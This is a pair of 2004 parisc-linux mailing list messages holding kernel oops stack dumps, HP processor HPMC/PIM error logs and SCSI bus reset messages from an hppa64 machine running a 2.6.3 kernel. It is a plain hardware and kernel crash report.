 0000000039e1cc78:  000000000000e680 0000000010163fec 0000000039e1caf0 0000000000000005
 0000000039e1cc58:  0000000000000000 0000000039e1ca10 0000000020132180 0000000039e1ca10
 0000000039e1cc38:  0000000000000008 0000000010448e80 000000003fa38af8 0000000000000000
 0000000039e1cc18:  0000000000000135 000000008f755428 0000000000000000 0000000000000000
 0000000039e1cbf8:  0000000000000001 00000000101ddb48 0000000000000000 0000000020132180
 0000000039e1cbd8:  000000008e59b000 0000000010448e80 000000003fa38af8 0000000000000008
 0000000039e1cbb8:  0000000000000001 0000000000000135 0000000000000000 0000000000000135
 0000000039e1cb98:  0000000000000002 0000000010448e80 00000000000085c4 00000000400d4b80
 0000000039e1cb78:  00000000faf09c98 0000101ec2d0 0000000000000000 0000000000000001
 0000000039e1cb58:  000000003ccbf000 0000000010448e80 000000003372c448 0000000010448e80
 0000000039e1cb38:  0000000039e1ca10 0000000020132180 000000003fa38af8 0000000000000008
 0000000039e1cb18:  0000000000000001 0000000000000135 0000000020515440 0000000039e1ca00
 0000000039e1caf8:  ffffffffffffffff 00000000101ddc64 ffffffffffffffff ffffffffffffffff
 0000000039e1cad8:  ffffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffff
 0000000039e1cab8:  0000000014b839c0 0000000010448e80 0000000013327180 0000000010448e80
 0000000039e1ca98:  0000000010448e80 0000000000000000 0000000000002171 0c3ff80000000000
 0000000039e1ca78:  0000000010963c80 00000000101e367c 0000000010448e80 00000000104f58f8
 0000000039e1ca58:  0000000000000002 0000000010448e80 0000000020132180 0000000010448e80
 0000000039e1ca38:  0000000000000000 00000fa38af8 00000000132cd400 0000000000000006
 0000000039e1ca18:  0000000000000480 000000003fa38af8 0000000020515440 0000000039e1c910
 0000000039e1c9f8:  0000000000000001 00000000101ddd78 0000000000000000 0000000000000000
 0000000039e1c9d8:  0000000010448e80 0000000010448e80 0000000000001000 0000000011596930
 0000000039e1c9b8:  0000000000000000 0000000000000000 000000003fa38af8 0000000000000001
 0000000039e1c998:  0000000010448e80 000000008e56d000 0000000020132180 00000000251ccdb8
 0000000039e1c978:  0000000000000000 00000000101b4820 0000000048019c78 0000000020515440
 0000000039e1c958:  0000000048019c78 0000000010448e80 0000000010448e80 0000000000000008
 0000000039e1c938:  000000002eafda80 0000000000000001 000000003fa38af8 0000000010448e80
 0000000039e1c918:  000000003fa38b58 0000000000000001 000000008f755428 0000000000000010
 0000000039e1c8f8:  0000000000000000 000000001e50 0000000000000008 0000000000000001
 0000000039e1c8d8:  0000000000000000 0000000000000000 0000000000000135 000000008f755428
 0000000039e1c8b8:  000000002eafda80 0000000039e1c898 0000000039e1c898 0000000039e1c898
 0000000039e1c898:  0000000039e1c898 0000000000000001 ffffffffffffffff 0000000039e1c800
 0000000039e1c878:  ffffffffffffffff 0000000010168b88 ffffffffffffffff 0000000010448e80
 0000000039e1c858:  0000000039e1c690 0000000010448e80 0000000011596930 0000000000000135
 0000000039e1c838:  0000000010448e80 000000003fa38bf0 000000002c576d00 000000004043b40c
 0000000039e1c818:  000000002c576d00 000000004043b40c 0000000000000000 000000008281b8c0
 0000000039e1c7f8:  000000000000a000 00000000101603b4 0000000039e1c6f0 0000000000000000
 0000000039e1c7d8:  0000000039e1c290 0000000010448e80 0000000039e1c590 0000000039e1c5a0
 0000000039e1c7b8:  000000001050ec40 000000000000000000000409c36a0 0000000010448e80
 0000000039e1c798:  0000000000000101 0000000000000000 0000000000000001 000000008f7553c0
 0000000039e1c778:  0000000000000000 0000000000000001 0000000010448e80 0000000039e1c590
 0000000039e1c758:  0000000039e1c3f0 0000000010448e80 00000000409c11f8 00000000409c11f8
 0000000039e1c738:  0000000000001f00 00000000409c11f8 000000000054a0b0 00000000faf0b120
 0000000039e1c718:  0000000000000003 0000000000000001 000000000000001c 000000ff0804ff0f
 0000000039e1c6f8:  0000000010448e80 0000000010160c24 0000000000200200 0000000039e1c500
 0000000039e1c6d8:  0000000010448e80 0000000010448e80 000000003372c100 00000000104e1218
 0000000039e1c6b8:  0000000010448e80 00000000000f4000 0000000000000014 0000000000000001
 0000000039e1c698:  000000003fa38af8 0000000000000000 000000000018d0c0 0000000000000000
 0000000039e1c678:  0000000000000000 000000001023c8ec 000010448e80 0000000039e1c390
 0000000039e1c658:  000000008f7553f8 000000008f7553f8 0000000010448e80 000000000054a0b0
 0000000039e1c638:  00000000409c399c 00000000409c19f8 0000000039e1c290 000000000054b1e5
 0000000039e1c618:  0000000000000ecb 0000000000001135 000000000800000f 0000000039e1c500
 0000000039e1c5f8:  000000001328f480 0000000010160cd0 0000000010448e80 0000000010448e80
 0000000039e1c5d8:  000000001660e000 00000000faf03370 0000000000000801 00000000409c36a0
 0000000039e1c5b8:  00000000000001b6 0000000000000004 0000000010448e80 0000000039e1c390
 0000000039e1c598:  0000000000002000 000000000054a0b0 0000000000000019 000000004959d000

Kernel addresses on the stack:
 [<00000000102f1774>]  [<000000001013f30c>]  [<00000000101a2440>]  [<00000000101388b0>]
 [<000000001018b2e8>]  [<000000001013a184>]  [<000000001018d0cc>]  [<00000000101dc7a0>]
 [<000000001018d1c8>]  [00000101dc8a4>]  [<0000000010163fec>]  [<00000000101ddb48>]
 [<00000000101ec2d0>]  [<00000000101ddc64>]  [<00000000101e367c>]  [<00000000101ddd78>]
 [<00000000101b4820>]  [<00000000101ace50>]  [<0000000010168b88>]  [<00000000101603b4>]
 [<0000000010160c24>]  [<000000001023c8ec>]  [<0000000010160cd0>]  [<0000000010188bac>]
 [<0000000010149ef0>]  [<0000000010188ce8>]  [<000000001010f1d8>]  [<0000000010188ffc>]
 [<000000001010f2f8>]  [<000010109e4c>]  [<0000000010109074>]

Kernel Fault: Code=15 regs=0000000039e1d000 (Addr=0000003f0804ff17)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111111100001110 Not tainted
r00-03  0000000000000000 00000000104fc0a0 000000001015facc 0000000000000000
r04-07  0000000010448e80 0000000010448e80 0000000000030104 0000000000000000
r08-11  000000003fa38af8 000000003fa38af8 0000000000000000 0000000000030104
r12-15  0000000039e1ca10 000000008f7553c0 0000000039e1c610 0000000000000800
r16-19  000000003fa38af8 000000001042c820 0000000039e1c3f0 000000000800000f
r20-23  0000000000000000 0000003f0804ff0f 00000000fffffffa 000000000000003f
r24-27  0000000000001000 0000000000030104 000000008e0ca0c0 0000000010448e80
r28-31  0000003f0804ff0f 0000000039e1cff0 0000000039e1d000 000000000000e680
sr0-3   0000000000000c80 0000000000000c80 0000000000000000 0000000000000c80
sr4-7   0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 000000001015fadc 000000001015fae0
 IIR: 0eb010d4    ISR: 0000000000000000  IOR: 0000003f0804ff17
 CPU:        0   CR30: 0000000039e1c000 CR31: 0000000010418000
 ORIG_R28: 00000000000f4<2><2>

--C7zPtVaVf+AK4Oqc
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=pim

PROCESSOR PIM INFORMATION



-----------------  Processor 0 HPMC Information - PDC Version: 40.50  ------

Timestamp =    Mon Feb  23 20:41:58 GMT 2004    (20:04:02:23:20:41:58)

HPMC Chassis Codes

       Chassis Code        Extension
       ------------        ---------
       0x0000082000ff6242  0x0000000000000000
       0x1800082011006302  0xcb80800000000000
       0x0000087000ff6292  0x0000000000000000
       0x6000082070006062  0x0000000001100170
       0x7000082070006082  0x0000000000a41c00
       0x2000082374ff6b83  0x0000ff000001ff74
       0x2000082374ff6b83  0x0000ff000001ff74
       0x2000082274ff6bc3  0x0000ff000001ff74
       0x2000082274ff6bc3  0x0000ff000001ff74
       0x0000080080006310  0x0000000000000001
       0x000008008000631f  0x0000000000000000
       0x0000082000ff6442  0x0000000000000000
       0x0000082000ff6402  0x0000000000000000
       0x0000080080006300  0x0000000000000001
       0x7000082382006343  0x0000000000070200
       0x7000082382026343  0x0000000000070200
       0x7000082382046343  0x0000000000070200
       0x7000082382066343  0x0000000000070200
       0x0000080089006200  0x0000000000000000
       0x0000080086006200  0x0000000000000000
       0x000008008000630f  0x0000000000000000


General Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000020000  0000000040000000
04-07  0000000000010000  0000000000000002  00000000069db9c0  0000000000000000
08-11  0000000000000000  0000000000000001  000000003fff0000  0000000000000000
12-15  00000000000000f2  00000000000000fa  00000000000000f0  00000000000000ff
16-19  000000f0f00003dc  000000f0f000028c  000000f0f0002aa4  0000000000000001
20-23  0000000000000001  0000000000000007  000000000000ff00  fffffff0f0430f78
24-27  000000003fff0000  0000000000020000  0000000000000000  0000000000065e34
28-31  fffffff0f0408000  0000000000001490  000000003fff0040  000000f0f0044cb0


Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000000  0000000000000000  0000000000000000  000000000000003f
12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19  0000000968a477e7  0000000000000000  000000000002005c  000000006bda3f81
20-23  00000000142400ff  00000000fc3f0000  000000ff00008f08  0000000000000000
24-27  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff
28-31  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff

Space Registers 0 - 7
00-03  00000000          00000000          00000000          00000000
04-07  00000000          00000000          00000000          00000000


IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x0000000000020060
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00105004
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0xfffffffffffa0000


Floating Point Registers 0 - 31
00-03  ffd00fbfd72afbff  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff
04-07  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff
08-11  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff
12-15  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff
16-19  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff
20-23  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff
24-27  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff
28-31  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff  fffffaffffffffff


Check Summary                = 0xcb80800000000000
Available Memory             = 0x0000000080000000
CPU Diagnose Register 2      = 0x0300000000000204
CPU Status Register 0        = 0x1440c20000000000
CPU Status Register 1        = 0x8000000000000000
SADD LOG                     = 0x301049809b858340
Read Short LOG               = 0xc1af00f0f0408188



-----------------  Processor 0 LPMC Information ------------------

Check Type                   = 0x00000000
IC Parity Info               = 0x00000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000



-----------------  Processor 0 TOC Information -------------------

General Registers 0 - 31
00-03  0000000000000000  0000000010000000  000000001010dc08  0000000010448e80
04-07  0000000039e1d000  000000000000000f  000000001037af74  0000003f0804ff17
08-11  000000003fa38af8  000000003fa38af8  0000000000000000  0000000000030104
12-15  0000000039e1ca10  000000008f7553c0  0000000039e1c610  0000000000000800
16-19  0000000039e1d000  000000001042c820  0000000039e1c3f0  000000001011139c
20-23  00000000f0043c90  0000000010000000  0000000000000001  0000000000000000
24-27  00000000004ded40  0000000000000001  00000000004e1140  0000000010448e80
28-31  fffffffffffffffd  00000000004df4b8  0000000039e1d5c0  0300000000802004


Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000032  0000000000000000  00000000000000c0  000000000000003f
12-15  0000000000000000  0000000000000000  0000000000108000  0000000000000000
16-19  00008cdb3f548e7b  0000000000000000  000000001010dc0c  00000000ebffba7d
20-23  0000000000000c80  0000000000000000  00000000082c000f  cc00000000000000
24-27  00000000003de000  00000000115c6000  ffffffffffffffff  00000000400d4b80
28-31  ffffffffffffffff  ffffffffffffffff  0000000039e1c000  0000000010418000

Space Registers 0 - 7
00-03  00000c80          00000c80          00000000          00000c80
04-07  00000000          00000000          00000000          00000000

IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x000000001010dc08
CPU State                    = 0x9e000001



-----------------  Processor 1 HPMC Information - PDC Version: 40.50  ------

Timestamp =    Mon Feb  23 20:41:58 GMT 2004    (20:04:02:23:20:41:58)

HPMC Chassis Codes

       Chassis Code        Extension
       ------------        ---------
       0x0000082000ff6242  0x0000000000000000
       0x1800082011016322  0xc381800000000000
       0x0000082000ff6412  0x0000000000000000
       0x0000082000ff6402  0x0000000000000000


General Registers 0 - 31
00-03  0000000000000000  00000009689ea107  0000000000000000  00000000000000f7
04-07  0000000000000875  fffffff0f040a000  0000000000000032  00000000000000f7
08-11  0000000000000000  fffffff0f0400000  00000000000000f6  00000000000000fe
12-15  00000000000000f2  0000000000000001  00000000000000f0  00000000000000ff
16-19  000000f0f00008e8  fffffff0f040c000  0000000000000000  0000000000000000
20-23  0000000000000001  00000000000000fa  fffffff0f0400000  0000000000000000
24-27  00000000000000f9  0000000000000000  000018001001c400  000000f0f015c540
28-31  0000000000000000  000000f0f040a908  000000f0f040a708  3031323334353637


Control Registers 0 - 31
00-03  000000007fffffff  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0007ffff0005ffff  0007ffff0005ffff  0000000000000000  0000000000000017
12-15  0007ffff0005ffff  0007ffff0004ffff  000000f0f0006800  0000000000000000
16-19  0000000968a46560  00000000ffffefff  00000000000006ec  00000000020008a1
20-23  000000009207c3c1  000000000280a890  000000ff0800ff08  0000000000000000
24-27  fffffffffffdffff  ffffffffffffffff  ffffffffffffffff  ffffffffffdfffff
28-31  fffffffffffdffff  ffffffffffffffff  ffffffffffffffff  dffffeffffffffff

Space Registers 0 - 7
00-03  7ffefffb          bcffffef          ffffffff          7ebffff7
04-07  ffffefff          ffffffff          ffffffff          3ff7ffff


IIA Space (back entry)       = 0x00000000ffffefff
IIA Offset (back entry)      = 0x00000000000006f0
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x0030000d
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0xfffffffffffa2000
System Requestor Address     = 0xfffffffffffa0000


Floating Point Registers 0 - 31
00-03  fed28bbffbff7fdf  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff
04-07  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff
08-11  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff
12-15  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff  fffff7ffffffffff
16-19  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff
20-23  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff
24-27  ffffffffffffffff  fffffeffffffffff  ffffffffffffffff  f7ffffffffffffff
28-31  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff


Check Summary                = 0xc381800000000000
Available Memory             = 0x0000000080000000
CPU Diagnose Register 2      = 0x0300010080002000
CPU Status Register 0        = 0x3040000000000000
CPU Status Register 1        = 0x8000000000000000
SADD LOG                     = 0x4800000000000000
Read Short LOG               = 0xc1af00f0f0400000



-----------------  Processor 1 LPMC Information ------------------

Check Type                   = 0x00000000
IC Parity Info               = 0x00000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000



-----------------  Processor 1 TOC Information -------------------

General Registers 0 - 31
00-03  0000000000000000  00008cdb4e5b340d  0000000000000000  00000000000000f7
04-07  0000000000001277  fffffff0f040a000  0000000000000032  00000000000000f7
08-11  0000000000000000  fffffff0f0400000  00000000000000f6  00000000000000fe
12-15  00000000000000f2  0000000000000001  00000000000000f0  00000000000000ff
16-19  000000f0f00000c4  fffffff0f040c000  0000000000000000  0000000000000000
20-23  0000000000000001  00000000000000fa  fffffff0f0400000  0000000000000000
24-27  00000000000000f1  0000000000000000  000018001001c400  000000f0f015c540
28-31  0000000000000000  000000f0f040a908  000000f0f040a708  3031323334353637


Control Registers 0 - 31
00-03  000000007fffffff  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0007ffff0007ffff  0007ffff0007ffff  0000000000000000  0000000000000017
12-15  0007ffff0007ffff  0007ffff0006ffff  000000f0f0006800  0000000000000000
16-19  00008cdb4e60a6f1  00000000ffffefff  00000000000006f0  0000000002e008a2
20-23  00000000ae27c3c1  c000000000000000  000000ff0800ff08  0000000000000000
24-27  7fffffffffffffff  7fffffffffffffff  ffffffffffffffff  ffffffffffdfffff
28-31  7fffffffffffffff  fffffffffeffffff  ffffffffffffffff  ffffffffffffffff

Space Registers 0 - 7
00-03  7ffefffb          beffffef          ffffffff          7ebfffb5
04-07  ffffefff          ffffffff          ffffffff          3ff7ffff

IIA Space (back entry)       = 0x00000000ffffefff
IIA Offset (back entry)      = 0x00000000000006f4
CPU State                    = 0x9e000001


--------------  Memory Error Log Information  --------------

Bus 0 Log Information

Timestamp =    Mon Feb  23 20:41:59 GMT 2004    (20:04:02:23:20:41:59)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
  X       X      ERR_MEM           X   X     X

Bus Requestor Address      = 0xfffffffffffa0000
Bus Target Address         = 0x000000003fff0000
Bus Responder Address      = 0x0000000000000000

Error Status Reg           = 0x0000000001100170
Runway Control Reg         = 0x0000140000003800
Runway Address Reg         = 0xf8af0c003fff0000
Runway Data High Reg       = 0x84589948ddf6cf4c
Runway Data Low Reg        = 0xc22c4ca46efb67a6
Memory Address Reg         = 0x0000000000fffc00
Memory Address Corr Reg    = 0x0000000000fffc00
Memory Syndrome Reg        = 0x7700230000007700
Memory Syndrome Corr Reg   = 0x7700230000007700



 Address/Control Parity Error Registers

   Address/Control Parity Error Bit (mem_addr_par_stat) Not Set



------------  I/O Module Error Log Information  ------------

Summary of IO subsystem log entries
-----------------------------------
                        Phys Loc             Vendor  Device   Severity
Description             (hex)                 Id      Id      CORR UNC FE  CW
-----------             -----                ------  ------   ----------------
System Bus Adapter RP  0x000000ffff04ff83   0x103c  0x1051              X
System Bus Adapter RP  0x000000ffff01ff83   0x103c  0x1051              X
System Bus Adapter RP  0x000000ffff02ff83   0x103c  0x1051              X
System Bus Adapter RP  0x000000ffff03ff83   0x103c  0x1051              X


Detail display of IO subsystem log entries
------------------------------------------

System Bus Adapter --       Rope Interface
------------------------------------------

Timestamp =    Mon Feb  23 20:41:59 GMT 2004    (20:04:02:23:20:41:59)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_FUNCTION                      X

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0x0000000000000000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff00

Module Error Register   = 0x0000000000000000
Rope Physical Location  = 0x000000ffff04ff83

System Bus Adapter --       Rope Interface
------------------------------------------

Timestamp =    Mon Feb  23 20:41:59 GMT 2004    (20:04:02:23:20:41:59)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_FUNCTION                      X

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0x0000000000000000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff00

Module Error Register   = 0x0000000000000000
Rope Physical Location  = 0x000000ffff01ff83

System Bus Adapter --       Rope Interface
------------------------------------------

Timestamp =    Mon Feb  23 20:41:59 GMT 2004    (20:04:02:23:20:41:59)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_FUNCTION                      X

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0x0000000000000000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff00

Module Error Register   = 0x0000000000000000
Rope Physical Location  = 0x000000ffff02ff83

System Bus Adapter --       Rope Interface
------------------------------------------

Timestamp =    Mon Feb  23 20:41:59 GMT 2004    (20:04:02:23:20:41:59)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_FUNCTION                      X

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0x0000000000000000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff00

Module Error Register   = 0x0000000000000000
Rope Physical Location  = 0x000000ffff03ff83


--C7zPtVaVf+AK4Oqc--


From - Thu Nov 08 21:31:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Wichert Akkerman <wichert@wiggy.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel oops
Date: Tue, 2 Mar 2004 01:17:43 +0100
Lines: 228
Approved: news@gmane.org
Message-ID: <20040302001743.GJ2502@wiggy.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623233 6231 80.91.229.3 (22 Nov 2014 02:27:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: wichert@levante.wiggy.net  Mon Mar  1 17:17:45 2004
Return-Path: <wichert@levante.wiggy.net>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx1.wiggy.net (levante.wiggy.net [195.85.225.139])
	by dsl2.external.hp.com (Postfix) with ESMTP id B0FEF4868
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Mar 2004 17:17:44 -0700 (MST)
Original-Received: from wichert by mx1.wiggy.net with local (Exim 4.30)
	id 1AxxbT-000322-VK
	for parisc-linux@lists.parisc-linux.org; Tue, 02 Mar 2004 01:17:43 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.5.1+cvs20040105i
Original-Sender: Wichert Akkerman <wichert@levante.wiggy.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 02 Mar 2004 00:17:46 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20965

Trying jejb's 2.6.3-2 hppa64 kernel I quickly got the oops below.

Wichert.

sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.
sym3: SCSI BUS reset detected.
sym3: SCSI BUS has been reset.

********** VIRTUAL FRONT PANEL **********
System Boot detected
*****************************************
LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       ON       FLASH         OFF       ON         ON
LED State: There was a system interruption that did not take the system down.
Check Chassis and Console Logs for error messages.

processor                 system panic               1B00

*****************************************

************ EARLY BOOT VFP *************
End of early boot detected
*****************************************
428c07c70d00
 000000008c658c18:  000000001010c07c 000000001010c078 0000000000000000 0000000000000000
 000000008c658bf8:  0000000000000000 0000000000000000 0000000000000000 000000008f5f7268
 000000008c658bd8:  00000000104140e0 0000000000000003 000000000011a000 000000000000b6de
 000000008c658bb8:  0000000000000003 0000000000000000 00000000104140e0 000000008fffe048
 000000008c658b98:  0000000000018005 0000000000001000 3ff0000000000000 0000003900000000
 00000008c658b78:  0000000000000000 0000000010192864 000000008fffb000 0000000000000002
 000000008c658b58:  000000008f989ac8 0000000000000002 00000000f000028c 00000000f00003dc
 000000008c658b38:  00000000000000ff 00000000101a8398 00000000104140e0 0000000000000003
 000000008c658b18:  425010f415ca015c 0000000000000000 000000000000003e 000000000019660d
 000000008c658af8:  412e848000000000 000000000012e830 0000000000000000 0000000000000000
 000000008c658ad8:  0000000000000000 0000000000000000 0000000000000000 0c3ff80000000000
 000000008c658ab8:  000000001041f8e0 00000000104140e0 0000000000001000 000000008fffe048
 000000008c658a98:  0000000000018005 000000000011a000 0000000000000045 000000008c658680
 000000008c658a78:  0000000000000000 0000000010192960 fe00000000000000 0000000010338a00
 000000008c658a58:  fe00000000000000 000000008c658190 00000000103f7b40 0000000000000000
 000008c658a38:  000000008c658710 000000008f456540 0000000000000000 000000008c658710
 000000008c658a18:  000000008f456540 0000000000000001 000000008b31c0f0 0000000000000000
 000000008c6589f8:  0000000000000000 000000000012e934 00000000104140e0 0000000000000001
 000000008c6589d8:  000000008b31c0f0 000000001010c074 00000000104190e0 000000008f9db9c0
 000000008c6589b8:  00000000000bd718 000000008f456538 00000000104140e0 000000008f9db9c0
 000000008c658998:  00000000170fc2a5 000000008f456538 000000008d90c488 00000000104140e0
 000000008c658978:  00000000104140e0 0000000010170814 0000000000001000 000000008fb75000
 000000008c658958:  0000000000000000 000000008c658710 000000008f456540 000000008c658710
 000000008c658938:  0000000000000000 000000000011a000 000000008b31c0f0 000000008f5f7268
 000000008c658918:  000000008d90c488 000000000011a000 000000000000002b 000000008c658880
 000008c6588f8:  000000008fffe048 000000000012fce0 0000000000001000 000000008f456540
 000000008c6588d8:  000000008ff644f8 00000000000b5000 000000008b31c0f0 0000000000000000
 000000008c6588b8:  0000000000000000 000000008b31c0f0 000000008f5f7268 000000008d90c488
 000000008c658898:  000000008b31c0f0 0000000000000000 0000000000004a80 0000000000004a80
 000000008c658878:  0000000000000001 00000000000bd718 0000000000000000 3fec71c71c71c71c
 000000008c658858:  3d3ef9417e4f6712 3ff2000000000000 3ff0000000000000 000000000011a000
 000000008c658838:  000000008c658710 000000008f456540 000000008b31c0f0 0000000000000000
 000000008c658818:  0000000000000000 000000008b31c0f0 00000000f000028c 00000000f00003dc
